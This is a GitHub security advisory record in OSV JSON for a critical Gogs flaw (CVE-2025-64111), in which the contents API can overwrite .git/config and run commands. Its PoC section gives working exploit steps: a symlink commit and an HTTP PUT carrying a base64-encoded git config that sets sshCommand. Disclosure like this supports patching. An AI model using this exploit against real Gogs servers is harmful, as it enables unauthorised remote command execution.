{"id":"GHSA-gg64-xxr9-qhjp","summary":"Gogs's update .git/config file allows remote command execution","details":"### Summary\nDue to the insufficient patch for the https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7, it's still possible to update files in the `.git` directory and achieve remote command execution.\n\n### Details\nFunction `UpdateRepoFile` security check under some if conditions. While UpdateRepoFile call in API router  will NOT match any of them.  It's still possible to update `.git/config` file via API router.\nhttps://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206\n\n\n\n### PoC\n```bash\n# add a symlink file and push to repo.\nln -s .git/config link\ngit add link\ngit commit -m 'add' && git push\n```\n\nUpdate file via API router\n```http\nPUT /api/v1/repos/demo/vul/contents/link HTTP/1.1\nContent-Type: application/json\nHost: localhost:3000\nAuthorization: token {token}\n\n{\"message\":\"message\",\"committer\":{\"name\":\"test\",\"email\":\"a@b.com\"},\"content\":\"W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQoJc3NoQ29tbWFuZCA9IHRvdWNoIC90bXAvYWJjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2RlbW8vdnVsLmdpdAoJZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQoJcmVtb3RlID0gb3JpZ2luCgltZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVy\"}\n```\n\n### Impact\nRCE","aliases":["CVE-2025-64111","GO-2026-4448"],"modified":"2026-02-19T20:56:31.500727Z","published":"2026-02-06T17:49:27Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-02-06T17:49:27Z","nvd_published_at":"2026-02-06T17:16:17Z","cwe_ids":["CWE-78"],"severity":"CRITICAL"},"references":[{"type":"WEB","url":"https://github.com/gogs/gogs/security/advisories/GHSA-gg64-xxr9-qhjp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-64111"},{"type":"PACKAGE","url":"https://github.com/gogs/gogs"},{"type":"WEB","url":"https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206"}],"affected":[{"package":{"name":"gogs.io/gogs","ecosystem":"Go","purl":"pkg:golang/gogs.io/gogs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.13.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-gg64-xxr9-qhjp/GHSA-gg64-xxr9-qhjp.json","last_known_affected_version_range":"\u003c= 0.13.3"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}